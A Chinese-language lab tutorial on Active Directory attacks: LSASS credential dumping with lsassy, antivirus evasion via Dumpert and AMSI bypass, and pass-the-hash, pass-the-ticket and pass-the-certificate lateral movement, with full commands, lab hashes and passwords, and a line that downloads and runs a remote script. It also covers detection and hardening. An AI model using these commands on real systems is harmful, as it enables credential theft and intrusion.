lsassy 是一個 Python 工具,可以遠端傾印多台機器的 LSASS 記憶體,支援多種傾印方法和防毒繞過技術。

特性:

  • ✅ 遠端執行,不需要在目標上執行工具
  • ✅ 支援多種傾印技術 (dumpert, procdump, comsvcs.dll 等)
  • ✅ 自動解析憑證
  • ✅ 支援批次多台機器

安裝:

pip3 install lsassy

image

實戰 1: 基本 LSASS 傾印

# 基本用法 (使用預設方法)
lsassy -d north.sevenkingdoms.local \
  -u jeor.mormont \
  -p '_L0ngCl@w_' \
  192.168.139.22

image

預期輸出:

192.168.139.22 - NORTH\CASTELBLACK$                                   [NT] aa9f662562792331251c9e43b72c5caf | [SHA1] 864f956c6a5a0237fc6af5932b05948a7e7ef15e
192.168.139.22 - north.sevenkingdoms.local\CASTELBLACK$               [PWD] #Li[6EAI8$[,TyAcc0[-K4R/SRVF]Yl"I]w`I^UPnYU@Eyg9ADaA:.zCS9x/d?MKc``WbzgKj%jz.g3EW6a ?g ?*`u,C/M"_st@:;6unF/K&B#$[(z\*6Xp
192.168.139.22 - NORTH\sql_svc                                        [NT] 84a5092f53390ea48d660be52b93b804 | [SHA1] 9fd961155e28b1c6f9b3859f32f4779ad6a06404
192.168.139.22 - NORTH.SEVENKINGDOMS.LOCAL\sql_svc                    [PWD] YouWillNotKerboroast1ngMeeeeee
192.168.139.22 - NORTH\robb.stark                                     [NT] 831486ac7f26860c9e2f51ac91e1a07a | [SHA1] 3bea28f1c440eed7be7d423cefebb50322ed7b6c
192.168.139.22 - NORTH.SEVENKINGDOMS.LOCAL\CASTELBLACK$               [TGT] Domain: NORTH.SEVENKINGDOMS.LOCAL - End time: 2025-09-30 17:54 (TGT_NORTH.SEVENKINGDOMS.LOCAL_CASTELBLACK$_krbtgt_NORTH.SEVENKINGDOMS.LOCAL_74b27eaa_20250930175441.kirbi)
192.168.139.22 - NORTH.SEVENKINGDOMS.LOCAL\CASTELBLACK$               [TGT] Domain: NORTH.SEVENKINGDOMS.LOCAL - End time: 2025-09-30 17:54 (TGT_NORTH.SEVENKINGDOMS.LOCAL_CASTELBLACK$_krbtgt_NORTH.SEVENKINGDOMS.LOCAL_1ed6d9fc_20250930175441.kirbi)
192.168.139.22 - NORTH.SEVENKINGDOMS.LOCAL\robb.stark                 [TGT] Domain: NORTH.SEVENKINGDOMS.LOCAL - End time: 2025-09-30 18:30 (TGT_NORTH.SEVENKINGDOMS.LOCAL_robb.stark_krbtgt_NORTH.SEVENKINGDOMS.LOCAL_eb5ffd3e_20250930183032.kirbi)
192.168.139.22 - NORTH.SEVENKINGDOMS.LOCAL\robb.stark                 [TGT] Domain: NORTH.SEVENKINGDOMS.LOCAL - End time: 2025-09-30 18:30 (TGT_NORTH.SEVENKINGDOMS.LOCAL_robb.stark_krbtgt_NORTH.SEVENKINGDOMS.LOCAL_c93a09f8_20250930183032.kirbi)
192.168.139.22 - NORTH.SEVENKINGDOMS.LOCAL\CASTELBLACK$               [TGT] Domain: NORTH.SEVENKINGDOMS.LOCAL - End time: 2025-09-30 17:54 (TGT_NORTH.SEVENKINGDOMS.LOCAL_CASTELBLACK$_krbtgt_NORTH.SEVENKINGDOMS.LOCAL_a031d455_20250930175438.kirbi)
192.168.139.22 - NORTH.SEVENKINGDOMS.LOCAL\CASTELBLACK$               [TGT] Domain: NORTH.SEVENKINGDOMS.LOCAL - End time: 2025-09-30 17:54 (TGT_NORTH.SEVENKINGDOMS.LOCAL_CASTELBLACK$_krbtgt_NORTH.SEVENKINGDOMS.LOCAL_e5b05a62_20250930175438.kirbi)
15 Kerberos tickets written to /home/kali/.config/lsassy/tickets
5 masterkeys saved to /home/kali/.config/lsassy/masterkeys.txt

實戰 2: 使用 Dumpert 模組繞過防毒

什麼是 LSASS 傾印?

LSASS (Local Security Authority Subsystem Service) 是 Windows 的核心安全,負責:

  • 驗證用戶登入
  • 儲存認證憑證(密碼、hash、Kerberos 票據)
  • 管理安全策略

透過傾印 LSASS 記憶體,可以提取這些憑證。

為什麼需要 Dumpert?

  • 傳統方法的問題
# 傳統工具如 Mimikatz 會被偵測
mimikatz.exe "sekurlsa::logonpasswords"
# ❌ 容易被防毒軟體攔截
  • Dumpert 的優勢
    1. 直接系統調用 (Direct Syscalls):繞過 API hooks
    2. 不依賴 Windows API:避開 EDR 監控點
    3. 隱蔽性更高:減少被偵測的機會

技術流程分解

  1. 準備階段
# 下載並編譯 Dumpert
git clone https://github.com/outflanknl/Dumpert
# 使用 Visual Studio 編譯成 DLL
  1. 執行 lsassy + dumpert
lsassy -d north.sevenkingdoms.local \    # 域名
  -u jeor.mormont \                       # 用戶名
  -p '_L0ngCl@w_' \                       # 密碼
  192.168.139.22 \                        # 目標 IP
  -m dumpertdll \                         # 使用 dumpert 模組
  -O dumpertdll_path=/path/to/dll         # DLL 路徑
  • 注意事項
1. 需要先從 GitHub 下載並編譯 Dumpert
2. DLL 需要與目標系統架構匹配(x64/x86)
3. 某些 EDR 現在已經能偵測 Dumpert 的特徵
  1. 執行步驟
1. 上傳 Dumpert DLL 到目標機器
2. 注入 DLL 到 LSASS 
3. 執行記憶體傾印
4. 提取憑證(明文密碼、NTLM hash、Kerberos 票據)
5. 清理痕跡(刪除上傳的檔案)

繞過防毒的原理

  • 傳統攻擊鏈
攻擊工具 → Windows API → Kernel
            ↑
         EDR Hook(被攔截)
  • Dumpert 攻擊鏈
Dumpert → 直接系統調用 → Kernel
         (繞過 API hooks)

⚠️ 重要提醒:

即使防毒觸發警報,lsassy 通常還是能在被阻止前提取到憑證。但這會留下日誌記錄!

實戰 3: 取得特權使用者憑證

假設一個高權限使用者遠端登入到 CASTELBLACK:

# 在另一個終端,模擬特權使用者登入
xfreerdp3 /d:north.sevenkingdoms.local \
  /u:catelyn.stark \
  /p:robbsansabradonaryarickon \
  /v:castelblack.north.sevenkingdoms.local \
  /cert:ignore

image

立即執行 lsassy 傾印:

lsassy -d north.sevenkingdoms.local \
  -u jeor.mormont \
  -p '_L0ngCl@w_' \
  192.168.139.22

新的輸出:


+ 192.168.139.22 - NORTH\catelyn.stark                    [NT] cba36eccfd9d949c73bc73715364aff5
+ 192.168.139.22 - NORTH.SEVENKINGDOMS.LOCAL\catelyn.stark [TGT] (兩張票據)
NORTH\catelyn.stark
  ├── NT: cba36eccfd9d949c73bc73715364aff5
  ├── SHA1: be37d26374175f082b2c536d3114bafb2ad0e4fc
  └── TGT: catelyn.stark.kirbi

image

成功取得高權限使用者的憑證!

lsassy 支援的傾印方法

方法 說明 繞過能力 需要工具
comsvcs 使用 comsvcs.dll 內建
procdump Sysinternals Procdump 需上傳
dumpert Outflank Dumpert 需上傳 DLL
nanodump 輕量級傾印 需上傳
ppldump 繞過 PPL 保護 極高 需驅動程式

選擇建議:

有防毒/EDR?
├─ 是 → dumpertdll 或 nanodump
└─ 否 → comsvcs (最快最簡單)

LSASS 有 PPL 保護?
└─ 使用 ppldump (需要 BYOVD 技術)

LSASS 傾印的防禦與偵測

防禦措施:

  1. 啟用 Credential Guard

    # 啟用 Credential Guard (需要重啟)
    Enable-WindowsOptionalFeature -Online -FeatureName "VirtualizationBasedSecurity" -All
    
  2. 啟用 LSA Protection (RunAsPPL)

    # 設定 LSASS 為受保護
    New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" `
      -Name "RunAsPPL" -Value 1 -PropertyType DWORD
    
  3. 禁用 WDigest (防止明文密碼儲存)

    # 已經是 Windows 8.1+ 的預設設定
    Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" `
      -Name "UseLogonCredential" -Value 0
    

偵測方法:

監控以下 Windows 事件:

Event ID 描述 嚴重性
10 (Sysmon) 存取 (LSASS) 🔴 極高
4656 物件存取請求 🟡 中
4663 嘗試存取物件 🟡 中

Sysmon 規則範例:

<Sysmon schemaversion="4.30">
  <EventFiltering>
    <ProcessAccess onmatch="include">
      <TargetImage condition="is">C:\Windows\system32\lsass.exe</TargetImage>
      <GrantedAccess condition="is">0x1010</GrantedAccess>
      <GrantedAccess condition="is">0x1410</GrantedAccess>
      <GrantedAccess condition="is">0x147a</GrantedAccess>
    </ProcessAccess>
  </EventFiltering>
</Sysmon>

第五部分: 橫向移動技術全覽

現在我們已經有了各種憑證(NT Hash, 明文密碼, Kerberos 票證),接下來學習如何使用這些憑證進行橫向移動。

橫向移動技術對比

工具 協定 上傳檔案 建立服務 痕跡 繞過 AV 速度 推薦度
PsExec SMB 🟡 低
WmiExec WMI/DCOM 🟢 高
SmbExec SMB 🟢 高
AtExec SMB/Task Task 🟡 中
DcomExec DCOM 🟢 高
Evil-WinRM WinRM 🟢 極高
RDP (PTH) RDP N/A 🟡 低

技術 1: PsExec

原理:

攻擊流程
├── 1. 連接 ADMIN$ 共享
├── 2. 上傳可執行檔 (預設: PSEXESVC.exe)
├── 3. 建立並啟動服務
├── 4. 透過具名管道通訊
└── 5. 清理服務和檔案

使用方式:

# 使用 NT Hash
psexec.py -hashes ':cba36eccfd9d949c73bc73715364aff5' \
  NORTH/catelyn.stark@192.168.139.11

# 使用明文密碼
psexec.py NORTH/catelyn.stark:'robbsansabradonaryarickon'@192.168.139.11

image

防毒問題:

PsExec 的 PSEXESVC.exe 已被所有防毒軟體列入黑名單。

解決方案: 自訂服務執行檔

# 步驟 1: 準備自訂可執行檔
# 可以是任何能接收命令的服務程式
# 範例: 修改 RemCom、使用自己編譯的服務

# 步驟 2: 使用 -file 選項
psexec.py -hashes ':cba36eccfd9d949c73bc73715364aff5' \
  NORTH/catelyn.stark@192.168.139.11 \
  -file /path/to/custom_service.exe

偵測特徵:

  • Event ID 7045: 新服務安裝 (服務名稱: PSEXESVC)
  • ADMIN$ 共享存取
  • \\.\pipe\PSEXESVC 具名管道建立

何時使用:

  • ✅ 需要完整互動式 Shell
  • ✅ 測試環境沒有防毒
  • ❌ 正式環境 (太容易被偵測)

技術 2: WmiExec

原理:

攻擊流程
├── 1. 透過 WMI 呼叫 Win32_Process.Create()
├── 2. 執行命令
├── 3. 輸出寫入臨時檔案 (ADMIN$)
├── 4. 透過 SMB 讀取輸出
└── 5. 刪除臨時檔案

使用方式:

# 使用 NT Hash
wmiexec.py -hashes ':cba36eccfd9d949c73bc73715364aff5' \
  NORTH/catelyn.stark@192.168.139.11

# 使用明文密碼
wmiexec.py NORTH/catelyn.stark:'robbsansabradonaryarickon'@192.168.139.11

優勢:

  • ✅ 不上傳可執行檔
  • ✅ 不建立服務
  • ✅ WMI 是 Windows 內建功能,難以禁用
  • ✅ 相對隱蔽

劣勢:

  • ❌ 半互動式 Shell (不是真正的 Shell)
  • ❌ 每次執行命令都要建立新程序

偵測特徵:

  • Event ID 4688: 新程序建立 (wmiprvse.exe)
  • WMI Event Subscription
  • ADMIN$ 存取

何時使用:

  • ✅ 需要隱蔽執行
  • ✅ 有防毒/EDR 的環境
  • ✅ 快速執行命令不需要持續 Shell

技術 3: SmbExec

原理:

攻擊流程
├── 1. 建立批次檔在 ADMIN$
├── 2. 使用 Windows 服務執行批次檔
│   └── 每個命令建立臨時服務
├── 3. 輸出重定向到共享資料夾
├── 4. 讀取並清理輸出
└── 5. 刪除服務

使用方式:

# 基本用法
smbexec.py -hashes ':cba36eccfd9d949c73bc73715364aff5' \
  NORTH/catelyn.stark@192.168.139.11

進階: 使用自己的 SMB 伺服器接收輸出

# 在攻擊機啟動 SMB 伺服器
impacket-smbserver share . -smb2support

# 使用 -mode SERVER 讓輸出回傳到我們的伺服器
smbexec.py -hashes ':cba36eccfd9d949c73bc73715364aff5' \
  NORTH/catelyn.stark@192.168.139.11 \
  -mode SERVER

優勢:

  • ✅ 不上傳大型可執行檔 (只有小批次檔)
  • ✅ 比 PsExec 隱蔽

劣勢:

  • ❌ 每次命令建立/刪除服務 (有噪音)
  • ❌ 半互動式

偵測特徵:

  • Event ID 7045: 頻繁的服務建立/刪除
  • ADMIN$ 存取
  • 可疑的批次檔名稱

何時使用:

  • ✅ WMI 被禁用的環境
  • ✅ 需要比 PsExec 更隱蔽的方法

技術 4: AtExec

原理:

攻擊流程
├── 1. 使用 Task Scheduler (計劃任務) 執行命令
├── 2. 建立一次性計劃任務
├── 3. 立即執行
└── 4. 刪除任務

使用方式:

# 執行單一命令
atexec.py -hashes ':cba36eccfd9d949c73bc73715364aff5' \
  NORTH/catelyn.stark@192.168.139.11 \
  "whoami"

# 執行 PowerShell
atexec.py -hashes ':cba36eccfd9d949c73bc73715364aff5' \
  NORTH/catelyn.stark@192.168.139.11 \
  "powershell -enc <base64_payload>"

⚠️ 已知問題: STATUS_OBJECT_NAME_NOT_FOUND

AtExec 有時會遇到這個錯誤:

[-] SMB SessionError: STATUS_OBJECT_NAME_NOT_FOUND

image

解決方案:

  1. 重試幾次 (通常第 2-3 次會成功)
  2. 改用其他方法 (WmiExec 或 SmbExec)
  3. 時間同步問題 (確認目標機器時間正確)

優勢:

  • ✅ 使用 Windows 內建功能
  • ✅ 不留駐執行檔

劣勢:

  • ❌ 只能執行單一命令 (不是 Shell)
  • ❌ 有 bug (STATUS_OBJECT_NAME_NOT_FOUND)
  • ❌ 較慢

偵測特徵:

  • Event ID 4698: 計劃任務建立
  • Event ID 4699: 計劃任務刪除
  • Event ID 4702: 計劃任務更新

何時使用:

  • ✅ 需要執行單一命令
  • ✅ 其他方法都被封鎖
  • ❌ 不建議作為主要方法

技術 5: DcomExec

原理:

攻擊流程
├── 1. 透過 DCOM (Distributed Component Object Model) 執行
├── 2. 使用 Windows 內建 COM 物件
│   ├── MMC20.Application
│   ├── ShellWindows
│   └── ShellBrowserWindow
├── 3. 輸出寫入檔案
└── 4. 透過 SMB 讀取

使用方式:

# 基本用法
dcomexec.py -hashes ':cba36eccfd9d949c73bc73715364aff5' \
  NORTH/catelyn.stark@192.168.139.11

# 指定 DCOM 物件
dcomexec.py -hashes ':cba36eccfd9d949c73bc73715364aff5' \
  NORTH/catelyn.stark@192.168.139.11 \
  -object MMC20

可用的 DCOM 物件:

物件 CLSID 說明
MMC20.Application - MMC 管理控制台
ShellWindows 9BA05972-F6A8-11CF-A442-00A0C90A8F39 Explorer Shell
ShellBrowserWindow - Explorer 瀏覽器

優勢:

  • ✅ 非常隱蔽 (DCOM 流量正常)
  • ✅ 不建立服務
  • ✅ 難以偵測

劣勢:

  • ❌ 半互動式
  • ❌ DCOM 可能被防火牆封鎖

偵測特徵:

  • DCOM 連線 (Port 135 + 動態埠)
  • svchost.exe 產生異常子程序
  • ADMIN$ 存取

何時使用:

  • ✅ 需要最高隱蔽性
  • ✅ 其他方法被 EDR 偵測

技術 6: Evil-WinRM (強烈推薦!)

WinRM 是什麼?

Windows Remote Management (WinRM) 是微軟實現的 WS-Management 協定,用於遠端管理 Windows 機器。

特性:

  • 協定: HTTP (Port 5985) 或 HTTPS (Port 5986)
  • 基於: PowerShell Remoting
  • 需求: 使用者必須在 "Remote Management Users" 群組

Evil-WinRM 安裝:

# 安裝
sudo gem install evil-winrm

# 確認安裝
evil-winrm --help

使用方式:

# 使用 NT Hash
evil-winrm -i 192.168.139.11 \
  -u catelyn.stark \
  -H 'cba36eccfd9d949c73bc73715364aff5'

# 使用明文密碼
evil-winrm -i 192.168.139.11 \
  -u catelyn.stark \
  -p 'robbsansabradonaryarickon'

image

成功後:

Evil-WinRM shell v3.4

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\catelyn.stark\Documents>

Evil-WinRM 強大功能:

  1. 檔案上傳/下載:
# 上傳檔案
*Evil-WinRM* PS > upload /local/path/tool.exe C:\temp\tool.exe

# 下載檔案
*Evil-WinRM* PS > download C:\temp\results.txt /local/path/results.txt
  1. 載入 PowerShell 腳本:
# 載入 PowerView
*Evil-WinRM* PS > Import-Module .\PowerView.ps1

# 直接從 HTTP 載入
*Evil-WinRM* PS > IEX(New-Object Net.WebClient).DownloadString('http://192.168.139.136/PowerView.ps1')
  1. 內建命令:
# 查看功能選單
*Evil-WinRM* PS > menu

# 列舉服務
*Evil-WinRM* PS > services

# Bypass AMSI
*Evil-WinRM* PS > Bypass-4MSI

優勢:

  • 完整的 PowerShell 環境
  • 檔案傳輸方便
  • WinRM 是合法管理工具
  • 功能豐富

劣勢:

  • 需要 WinRM 服務啟用
  • 需要防火牆開放 5985/5986

偵測特徵:

  • Event ID 4688: wsmprovhost.exe 程序
  • Event ID 4624: Logon Type 3 (Network)
  • WinRM 日誌: Microsoft-Windows-WinRM/Operational

何時使用:

  • WinRM 已啟用的環境
  • 需要持續互動和檔案傳輸
  • 執行 PowerShell 腳本

技術 7: RDP with Pass-the-Hash

挑戰: RDP 預設不支援 PTH

如果直接嘗試 PTH + RDP:

xfreerdp /u:catelyn.stark \
  /d:north.sevenkingdoms.local \
  /pth:cba36eccfd9d949c73bc73715364aff5 \
  /v:192.168.139.11

image

錯誤:

[ERROR] Account Restrictions are preventing this user from signing in.

原因:

RDP 需要知道明文密碼或者啟用 Restricted Admin Mode

啟用 Restricted Admin Mode

什麼是 Restricted Admin Mode?

  • 從 Windows 8.1/Server 2012 R2 開始提供
  • 允許管理員使用 RDP 但不在遠端機器留下憑證
  • 副作用: 允許 Pass-the-Hash 認證

檢查目前狀態:

# 查詢註冊表值
reg.py NORTH/catelyn.stark@192.168.139.11 \
  -hashes ':cba36eccfd9d949c73bc73715364aff5' \
  query -keyName 'HKLM\System\CurrentControlSet\Control\Lsa'

image

輸出:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa
...
(沒有 DisableRestrictedAdmin 值 = 預設禁用)

啟用 Restricted Admin:

# 建立註冊表值
reg.py NORTH/catelyn.stark@192.168.139.11 \
  -hashes ':cba36eccfd9d949c73bc73715364aff5' \
  add \
  -keyName 'HKLM\System\CurrentControlSet\Control\Lsa' \
  -v 'DisableRestrictedAdmin' \
  -vt 'REG_DWORD' \
  -vd '0'

image

成功輸出:

[+] Key successfully created

現在重試 RDP:

xfreerdp3 /u:catelyn.stark \
  /d:north.sevenkingdoms.local \
  /pth:cba36eccfd9d949c73bc73715364aff5 \
  /v:192.168.139.11 \
  /cert:ignore

image

成功! RDP 連線建立!

使用完畢後清理:

# 刪除註冊表值
reg.py NORTH/catelyn.stark@192.168.139.11 \
  -hashes ':cba36eccfd9d949c73bc73715364aff5' \
  delete \
  -keyName 'HKLM\System\CurrentControlSet\Control\Lsa' \
  -v 'DisableRestrictedAdmin'

image

優勢:

  • 完整的 GUI 存取
  • 適合需要圖形介面的操作

劣勢:

  • 需要修改目標機器設定
  • RDP 連線非常明顯
  • 留下大量日誌

偵測特徵:

  • Event ID 4624: Logon Type 10 (RemoteInteractive)
  • Event ID 4778/4779: RDP 會話連接/斷開
  • 網路流量: Port 3389

何時使用:

  • 需要 GUI 操作 (安裝軟體、配置等)
  • 測試環境
  • ❌ 隱蔽操作 (太明顯)

第六部分: CrackMapExec 批次橫向移動

CrackMapExec (CME) 是批次橫向移動的利器,可以同時測試多台機器。

CME 基本用法

語法結構:

crackmapexec <protocol> <targets> <authentication> <action>

基本認證測試:

# 使用 NT Hash 測試多台機器
crackmapexec smb 192.168.139.10-23 \
  -u catelyn.stark \
  -H 'cba36eccfd9d949c73bc73715364aff5' \
  -d north.sevenkingdoms.local

image

輸出解讀:

SMB  192.168.139.11  445  WINTERFELL    [+] north.sevenkingdoms.local\catelyn.stark:cba36eccfd9d949c73bc73715364aff5 (Pwn3d!)
SMB  192.168.139.22  445  CASTELBLACK   [+] north.sevenkingdoms.local\catelyn.stark:cba36eccfd9d949c73bc73715364aff5 (Pwn3d!)
SMB  192.168.139.10  445  KINGSLANDING  [-] sevenkingdoms.local\catelyn.stark:cba36eccfd9d949c73bc73715364aff5

標記說明:

  • [+]: 認證成功
  • (Pwn3d!): 擁有管理員權限
  • [-]: 認證失敗

CME 執行命令

預設使用 WmiExec 方法:

# 執行單一命令
crackmapexec smb 192.168.139.11 \
  -u catelyn.stark \
  -H ':cba36eccfd9d949c73bc73715364aff5' \
  -d north \
  -x "whoami"

輸出:

SMB  192.168.139.11  445  WINTERFELL  [+] north\catelyn.stark:cba36eccfd9d949c73bc73715364aff5 (Pwn3d!)
SMB  192.168.139.11  445  WINTERFELL  [+] Executed command
SMB  192.168.139.11  445  WINTERFELL  north\catelyn.stark

CME 模組使用

CME 有大量內建模組:

# 列出所有模組
crackmapexec smb -L

# 使用特定模組
crackmapexec smb 192.168.139.11 \
  -u catelyn.stark \
  -H ':cba36eccfd9d949c73bc73715364aff5' \
  -d north \
  -M spider_plus

image

常用模組:

模組 功能 用途
spider_plus 搜尋共享資料夾中的敏感檔案 資料收集
lsassy 傾印 LSASS 憑證提取
mimikatz 執行 Mimikatz 憑證提取
enum_avproducts 枚舉防毒軟體 偵察
met_inject Metasploit payload 注入 後滲透

CME 進階技巧

1. 使用憑證檔案批次測試:

# 建立使用者列表
cat > users.txt << EOF
Administrator
catelyn.stark
eddard.stark
robb.stark
EOF

# 建立密碼列表
cat > passwords.txt << EOF
Password123
Winter2023
robbsansabradonaryarickon
EOF

# 批次測試
crackmapexec smb 192.168.139.10-23 \
  -u users.txt \
  -p passwords.txt \
  --no-bruteforce

2. 使用資料庫儲存結果:

# CME 自動儲存結果到資料庫
# 位置: ~/.cme/workspaces/default/smb.db

# 查看資料庫內容
cmedb

# 在 cmedb 中查詢
cmedb> hosts
cmedb> creds
cmedb> shares

3. 組合多種協定:

# 測試 SMB
crackmapexec smb 192.168.139.11 -u catelyn.stark -H ':hash'

# 測試 WinRM
crackmapexec winrm 192.168.139.11 -u catelyn.stark -H ':hash'

# 測試 RDP
crackmapexec rdp 192.168.139.11 -u catelyn.stark -H ':hash'

# 測試 MSSQL
crackmapexec mssql 192.168.139.22 -u sql_svc -p 'password'

第七部分: Pass-the-Ticket 橫向移動

Overpass-the-Hash (NT Hash → TGT)

有時候目標環境禁用了 NTLM,只允許 Kerberos 認證。此時我們可以使用 NT Hash 來獲取 Kerberos TGT。

步驟 1: 使用 NT Hash 獲取 TGT

# 使用 getTGT.py
getTGT.py -hashes ':cba36eccfd9d949c73bc73715364aff5' \
  north.sevenkingdoms.local/catelyn.stark

輸出:

Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Saving ticket in catelyn.stark.ccache

步驟 2: 設定環境變數

# 設定 Kerberos 票證位置
export KRB5CCNAME=catelyn.stark.ccache

# 驗證票證
klist

image

輸出:

Ticket cache: FILE:/workspace/tgt/catelyn.stark.ccache
Default principal: catelyn.stark@NORTH.SEVENKINGDOMS.LOCAL

Valid starting     Expires            Service principal
12/01/24 14:30:22  12/02/24 00:30:22  krbtgt/NORTH.SEVENKINGDOMS.LOCAL@NORTH.SEVENKINGDOMS.LOCAL

步驟 3: 使用票證進行橫向移動

# 使用 -k (Kerberos) 和 -no-pass 選項
wmiexec.py -k -no-pass \
  north.sevenkingdoms.local/catelyn.stark@winterfell.north.sevenkingdoms.local

重要: 使用 FQDN

注意必須使用完整的 FQDN (Fully Qualified Domain Name):

  • winterfell.north.sevenkingdoms.local
  • winterfell (會失敗)
  • 192.168.139.11 (會失敗)

為什麼?

Kerberos 服務票證是基於 SPN (Service Principal Name) 的,SPN 包含完整的主機名稱。

使用 lsassy 傾印的 Kerberos 票證

還記得我們用 lsassy 傾印 LSASS 時獲得的 .kirbi 票證檔案嗎?

步驟 1: 轉換票證格式

# .kirbi (Windows) → .ccache (Linux)
ticketConverter.py catelyn.stark.kirbi catelyn.stark.ccache

步驟 2: 使用轉換後的票證

export KRB5CCNAME=/workspace/catelyn.stark.ccache

wmiexec.py -k -no-pass \
  north.sevenkingdoms.local/catelyn.stark@winterfell.north.sevenkingdoms.local

Pass-the-Ticket 優勢

特性 PTH (NTLM) PTT (Kerberos)
需要 Hash
需要票證
NTLM 禁用環境
產生 4768 事件 ✅ (但看起來正常)
隱蔽性
時間限制 有 (票證有效期)

何時使用 PTT:

  • ✅ 環境禁用 NTLM
  • ✅ 需要更高隱蔽性
  • ✅ 已經從 LSASS 獲得票證

第八部分: Pass-the-Certificate 橫向移動

在 Day 12-14 我們學習了 ADCS 攻擊,現在來看如何使用憑證進行橫向移動。

回顧: ESC1 攻擊獲取憑證

# 使用 ESC1 弱點申請管理員憑證
certipy req -u khal.drogo@essos.local -p 'horse' \
  -target braavos.essos.local \
  -template ESC1 \
  -ca ESSOS-CA \
  -upn administrator@essos.local

獲得:

  • administrator.pfx (PKCS#12 憑證檔案)

使用憑證進行認證

certipy auth 提供兩種方式:

方式 1: 獲取 NT Hash 和 TGT

certipy auth -pfx administrator.pfx -dc-ip 192.168.139.12

輸出:

Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@essos.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@essos.local': aad3b435b51404eeaad3b435b51404ee:54296a48cd30259cc88095373cec24da

獲得:

  • NT Hash: 54296a48cd30259cc88095373cec24da
  • TGT: administrator.ccache

方式 2: 直接獲取 LDAP Shell

certipy auth -pfx administrator.pfx \
  -dc-ip 192.168.139.12 \
  -ldap-shell

進入互動式 LDAP Shell:

Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Authenticated to 'essos.local' as: ESSOS\Administrator
Type help for list of commands

# add_user newadmin
# add_user_to_group newadmin "Domain Admins"
# set_user_pass admin NewPassword123!
# dump

使用獲得的憑證進行橫向移動

使用 NT Hash (Pass-the-Hash):

# WmiExec
wmiexec.py -hashes ':54296a48cd30259cc88095373cec24da' \
  administrator@192.168.139.12

# Evil-WinRM  
evil-winrm -i 192.168.139.12 \
  -u administrator \
  -H '54296a48cd30259cc88095373cec24da'

# PsExec
psexec.py -hashes ':54296a48cd30259cc88095373cec24da' \
  administrator@192.168.139.12

使用 TGT (Pass-the-Ticket):

# 設定票證
export KRB5CCNAME=administrator.ccache

# 使用 Kerberos 認證
wmiexec.py -k -no-pass \
  essos.local/administrator@meereen.essos.local

Pass-the-Certificate 的優勢

特性 PTH PTT PTC
需要 Hash
需要票證
需要憑證
有效期 永久 (直到密碼更改) 短 (預設 10 小時) 長 (預設 1 年)
krbtgt 重置影響
密碼更改影響
隱蔽性 極高

Pass-the-Certificate 的殺手鐧:

不受密碼更改影響 - 即使管理員更改密碼,憑證仍然有效
不受 krbtgt 重置影響 - Golden Ticket 會失效,但憑證不會
長期有效 - 憑證通常有效期 1 年或更長
極難偵測 - 看起來像正常的憑證認證

何時使用 PTC:

  • ✅ 需要長期持久化
  • ✅ 環境經常更換密碼
  • ✅ 環境有 Golden Ticket 防禦措施
  • ✅ 已成功執行 ADCS 攻擊

橫向移動技術決策樹

面對不同環境,如何選擇最佳的橫向移動技術?

┌─ 需要橫向移動 ─┐
│                  │
├─ 有什麼憑證?    │
│  ├─ 明文密碼     │ → 使用任何方法
│  ├─ NT Hash      │ → PTH (PsExec/WmiExec/Evil-WinRM)
│  ├─ Kerberos票證 │ → PTT (需要 FQDN)
│  └─ ADCS憑證     │ → PTC (獲取 Hash 或 TGT)
│                  │
├─ 環境限制?      │
│  ├─ 禁用NTLM     │ → 必須用 PTT/PTC
│  ├─ 有EDR/AV     │ → WmiExec/DcomExec/Evil-WinRM
│  ├─ WinRM啟用    │ → Evil-WinRM (首選)
│  └─ 只有SMB      │ → WmiExec/SmbExec
│                  │
├─ 需要什麼功能?  │
│  ├─ 互動式Shell  │ → Evil-WinRM/PsExec
│  ├─ 執行單一命令 │ → WmiExec/AtExec/CME
│  ├─ 檔案傳輸     │ → Evil-WinRM
│  ├─ GUI存取      │ → RDP (需要啟用Restricted Admin)
│  └─ 批次多台     │ → CrackMapExec
│                  │
└─ 隱蔽性需求?    │
   ├─ 高隱蔽       │ → DcomExec/WmiExec/PTT
   ├─ 中等         │ → SmbExec/Evil-WinRM
   └─ 不在意       │ → PsExec/RDP

小試身手

選擇題

Q1: 下列哪個 Hash 類型可以直接用於 Pass-the-Hash 攻擊?

A. DCC2 Hash
B. NetNTLMv2 Hash
C. NT Hash
D. LM Hash (在現代系統)

答案: C

  • NT Hash 儲存在 SAM/NTDS.dit,可直接用於 PTH
  • DCC2 必須破解才能使用
  • NetNTLMv2 只能用於 Relay 或破解
  • LM Hash 在現代系統已停用

Q2: 使用 lsassy 傾印 LSASS 時,最可能觸發的防禦機制是?

A. 防火牆
B. 防毒軟體
C. IDS
D. Web Application Firewall

答案: B

lsassy 傾印 LSASS 程序記憶體幾乎一定會觸發防毒軟體。這是為什麼需要使用 dumpert 等繞過技術的原因。


Q3: 下列哪種橫向移動技術最隱蔽?

A. PsExec
B. WmiExec
C. DcomExec
D. RDP with PTH

答案: C

隱蔽性排名:

  1. DcomExec (使用 Windows 內建 COM,最隱蔽)
  2. WmiExec (WMI 是正常管理工具)
  3. PsExec (建立服務,很明顯)
  4. RDP (產生明確的遠端桌面日誌)

Q4: Pass-the-Certificate 相比 Pass-the-Hash 的主要優勢是?

A. 執行速度更快
B. 不受密碼更改影響
C. 不需要任何權限
D. 可以在離線環境使用

答案: B

Pass-the-Certificate 的最大優勢:

  • ✅ 憑證有效期長 (通常 1 年)
  • ✅ 不受密碼更改影響
  • ✅ 不受 krbtgt 重置影響
  • ✅ 極難偵測

這使它成為最佳的持久化方法之一。


Q5: 使用 Pass-the-Ticket 時必須使用 FQDN 而非 IP 的原因是?

A. DNS 解析需要
B. Kerberos SPN 基於主機名稱
C. 防火牆規則限制
D. 安全策略要求

答案: B

Kerberos 服務票證 (TGS) 是基於 SPN (Service Principal Name) 的,SPN 格式為:

SERVICE/host.domain.local

如果使用 IP,Kerberos 無法產生或驗證正確的 SPN,導致認證失敗。


上一篇
